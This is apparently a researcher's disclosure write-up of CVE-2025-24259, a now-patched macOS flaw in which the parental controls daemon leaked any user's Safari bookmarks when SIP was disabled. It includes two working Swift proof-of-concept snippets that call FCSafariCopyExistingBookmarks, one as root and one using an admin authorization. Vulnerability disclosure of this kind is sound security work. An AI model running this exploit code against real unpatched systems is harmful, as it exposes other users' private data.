CVE-2025-24259: Leaking Bookmarks on macOS
A Quick Summary
Happy Monday! You should probably update your Macs now. macOS Ventura 13.7.5, macOS Sonoma 14.7.5, and macOS Sequoia 15.4, are out. They include a lot of patches, with 15.4 including patches for 131 CVE's. If you're curious and want to validate that, just open the security release notes for that update and search for the string CVE-202
. You'll find 131 matches on that page as of writing.
One of those CVE's, CVE-2025-24259, allowed processes to leak the Safari bookmarks for any user when System Integrity Protection is disabled.
Summary Update (2024-04-01)
The original version of this article claimed that root was required to exploit this (it actually is not). The original version also neglected to mention that the disabling of SIP was required. This requirement was only learned after initial publication. When SIP is enabled, App Sandbox will actually deny the vulnerable daemon's attempt to access the bookmarks.
A Brief Recap
For those of you who didn't read my last write-up, here is the basic gist:
- Processes on macOS communicate with each other via Mach messages.
- MIG (the Mach Interface Generator) can generate code for RPC-style API's around Mach messages.
- Process executables can be signed with key-value pairs called entitlements.
- A kernel module called AMFI scans the entitlements of every process launched and immediately kills those that are signed with
restricted entitlements
they lack the proper provisioning profile for. - Any process that is running on a macOS device must have made it past that kernel module, and therefore it can be assumed that its entitlements dictionary can be trusted.
- A Mach message include a kernel-appended trailer, which contains (among other things) an audit token that can be used by the receiver to uniquely identify the sending process and read its entitlements.
- Mach messages receivers should utilize this, and ignore messages from un-entitled senders.
- Some receivers don't do this.
On MIG Client Code
As I explained in my previous write-up, Mach message senders are usually called clients, which Mach message receivers are usually called servers. Take a look at that write-up if you are curious as to why this is the case. Anyway, as mentioned above, MIG can generate code for functional interfaces around Mach messages. In my previous write-up, I mimicked client code to send Mach messages to a daemon that didn't check entitlements, allowing me to access restricted resources. This write-up is more of the same, but we're going to save some time by not writing the client code ourselves.
The Parental/Family Controls Daemon
The parental controls
daemon is a MIG daemon on macOS that lives at:
/System/Library/PrivateFrameworks/FamilyControls.framework/Resources/parentalcontrolsd
The daemon itself, of course, contains the MIG server code. The MIG client code lives inside the FamilyControls
framework it is contained in. This is a fairly common pattern I have seen with daemons, and having existing client code can be very helpful for security research. Sure, we could re-create the client code in our PoC, but sometimes it's much simpler to just use the already-existing client code.
Proof-Of-Concept
While my Kass tooling I used in my previous write-up does include a nice wrapper around dynamic linking, it's not strictly necessary. We can use the standard dlopen
/dlsym
calls to bring in the MIG client code from the FamilyControls
framework and call it. It really doesn't take that many lines of Swift:
import Foundation
if getuid() != 0 {
print("This program should be run as root.")
exit(1)
}
if CommandLine.argc != 2 {
print("Usage: \(String(cString: getprogname()!, encoding: .utf8)!) <username>")
exit(1)
}
let fFamilyControls =
dlopen("/System/Library/PrivateFrameworks/FamilyControls.framework/FamilyControls", RTLD_LAZY)!
let FCSafariCopyExistingBookmarks
= unsafeBitCast(
dlsym(fFamilyControls, "FCSafariCopyExistingBookmarks"),
to: (@convention(c) (String, Data) -> AnyObject?).self
)
print(FCSafariCopyExistingBookmarks(CommandLine.arguments[1], Data()) as AnyObject)
Compiling the above code with swiftc
and running the resulting executable as root would print out the Safari bookmarks of the specified user. I only tested against a single user in my tests, but I don't see why this would not work for all users on the device (especially as it is the daemon itself that is accessing the bookmarks, and it should have read-access to them all, regardless of the user).
For those wondering, the second argument of FCSafariCopyExistingBookmarks
takes in a Data
object representing the bytes of an AuthorizationExternalForm
, which could be used to authorize the copying of the bookmarks. However, in the absence of a valid authorization object, parentalcontrolsd
would still allow root callers to copy the bookmarks, so we pass an empty Data
object.
PoC Update (2024-04-01)
It turns out, getting the proper authorization isn't that difficult. The below code can be run as an admin user, without root, to get the bookmarks. Thank you to the security researcher who contacted me and let me know this. I hadn't bothered with the Authorization
part because I thought it would potentially require user interaction (but it seems that it does not).
var rightName = "com.apple.Safari.parental-controls"
rightName.withCString { rightNameCString in
var authRef: AuthorizationRef? = nil;
let authCreateStatus = AuthorizationCreate(nil, nil, [], &authRef)
guard authCreateStatus == errAuthorizationSuccess else { return }
defer { AuthorizationFree(authRef!, []) }
var right = AuthorizationItem(name: rightNameCString, valueLength: 0, value: nil, flags: 0)
withUnsafeMutableBytes(of: &right) { rightPointer in
var rights = AuthorizationRights(count: 1, items: rightPointer.assumingMemoryBound(to: AuthorizationItem.self).baseAddress)
let copyRightsStatus = AuthorizationCopyRights(authRef!, &rights, nil, [.interactionAllowed, .extendRights], nil)
guard copyRightsStatus == errAuthorizationSuccess else { return }
var extForm: AuthorizationExternalForm = AuthorizationExternalForm();
let externalFormCreate = AuthorizationMakeExternalForm(authRef!, &extForm)
guard externalFormCreate == errAuthorizationSuccess else { return }
let extFormData = Data(bytes: &extForm, count: MemoryLayout<AuthorizationExternalForm>.size)
print(FCSafariCopyExistingBookmarks(CommandLine.arguments[1], extFormData))
}
}
Apple's Solution
Apple's solution here was, again, adding an entitlement check. Now, parentalcontrolsd
will ignore clients that don't have the com.apple.private.parentalcontrols
entitlement key with a boolean value of true
when they try to call that specific MIG routine to copy Safari bookmarks.
Conclusion
This, again, underscores the importance of validating senders before acting on Mach messages. Like my last write-up, this was a simple vulnerability with a simple solution, and I'm glad it's patched.
As always... watch this space.